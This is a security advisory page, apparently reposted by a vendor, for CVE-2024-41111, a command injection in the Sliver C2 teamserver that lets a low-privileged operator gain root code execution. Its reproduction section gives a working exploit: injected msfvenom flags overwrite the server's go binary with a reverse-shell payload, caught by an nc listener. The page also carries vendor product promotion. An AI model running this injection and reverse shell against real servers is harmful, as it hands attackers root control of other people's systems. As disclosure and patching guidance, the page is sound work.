Summary
Description
Sliver version 1.6.0 (prerelease) is vulnerable to RCE on the teamserver by a low-privileged "operator" user. The RCE is as the system root user.
Reproduction
First configure the Sliver server in multiplayer mode and add an operator profile.
Next, compile a slightly older version of the Sliver client. The commit after 5016fb8d updates the Cobra command-line parsing library in the Sliver client to strictly validate command flags.
git checkout 5016fb8d
VERSION=1.6.0 make client
The latest server version is targeted:
All hackers gain exalted
[*] Server v1.6.0 - bdfd89167dd47aece2397c638d482f94f3f91cba
[*] Client 1.6.0 - 5016fb8d7cdff38c79e22e8293e58300f8d3bd57
[*] Welcome to the sliver shell, please type 'help' for options`
The exploit uses a command injection in the generate msf-stager to inject the --out flag to msfvenom. We overwrite Sliver's own go binary at /root/.sliver/go/bin/go:
sliver > generate msf-stager --lhost 192.168.0.128 --lport 8888 --advanced --platform=linux&--payload=linux/x64/shell_reverse_tcp&--format=elf&--out=/root/.sliver/go/bin/go
[*] Sliver implant stager saved to: [...]
The other injected flags are to force a Linux payload, and not necessary if running the Sliver server on Windows.
If you check the saved implant locally on the client, it's 0 bytes as the output got written to the file on the server instead.
On the attacking machine, setup a netcat shell:
$ nc -lvp 8888
Listening on 0.0.0.0 8888
Trigger the stager by running a command which executes /root/.sliver/go/bin/go:
sliver > generate beacon --mtls 1.2.3.4
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
⠼ Compiling, please wait ...
A root shell will pop:
$ nc -lvp 8888
Listening on 0.0.0.0 8888
Connection received on 192.168.0.183 39238
whoami
root
The vulnerable code was introduced in https://github.com/BishopFox/sliver/pull/1281
Impact
As described in a past issue, "there is a clear security boundary between the operator and server, an operator should not inherently be able to run commands or code on the server." An operator who exploited this vulnerability would be able to view all console logs, kick all other operators, view and modify files stored on the server, and ultimately delete the server.
Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.
CVE-2024-41111 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.6.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2024-41111? CVE-2024-41111 is a high-severity OS command injection vulnerability in github.com/bishopfox/sliver (go), affecting versions >= 1.5.40, <= 1.6.0-dev. It is fixed in 1.6.0. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
- How severe is CVE-2024-41111? CVE-2024-41111 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/bishopfox/sliver are affected by CVE-2024-41111? github.com/bishopfox/sliver (go) versions >= 1.5.40, <= 1.6.0-dev is affected.
- Is there a fix for CVE-2024-41111? Yes. CVE-2024-41111 is fixed in 1.6.0. Upgrade to this version or later.
- Is CVE-2024-41111 exploitable, and should I be worried? Whether CVE-2024-41111 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2024-41111 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2024-41111? Upgrade
github.com/bishopfox/sliverto 1.6.0 or later.